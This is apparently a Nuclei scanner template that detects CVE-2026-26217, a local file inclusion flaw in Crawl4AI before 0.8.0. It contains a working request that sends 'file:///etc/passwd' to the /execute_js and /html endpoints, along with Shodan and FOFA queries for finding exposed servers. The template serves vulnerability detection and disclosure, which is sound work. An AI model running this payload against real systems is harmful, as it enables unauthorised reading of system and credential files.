id: CVE-2026-26217 info: name: Crawl4AI < 0.8.0 - Local File Inclusion author: str4k3r,Aryu-RU severity: critical description: | The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes. impact: | Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details. remediation: | Update to version 0.8.0 or later. reference: - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796 classification: cve-id: CVE-2026-26217 epss-score: 0.01914 epss-percentile: 0.78435 metadata: verified: true shodan-query: title:"Crawl4AI" fofa-query: title="Crawl4AI" tags: cve,cve2026,crawl4ai,lfi,file-read flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}" redirects: true matchers: - type: dsl dsl: - 'contains(tolower(body), "crawl4ai")' internal: true - method: POST path: - "{{BaseURL}}/execute_js" - "{{BaseURL}}/html" headers: Content-Type: application/json body: '{"url": "file:///etc/passwd", "scripts": ["document.body.innerText"]}' stop-at-first-match: true matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100a06cef5642caa94d5b7f4cc4fdcc218de39cb7c9b63cafd9070d388c43a0583802206a22f26e8d14d25b02b724750d9a8381ba2bd377a078e122072318350b49df70:922c64590222798bb761d5b6d8e72950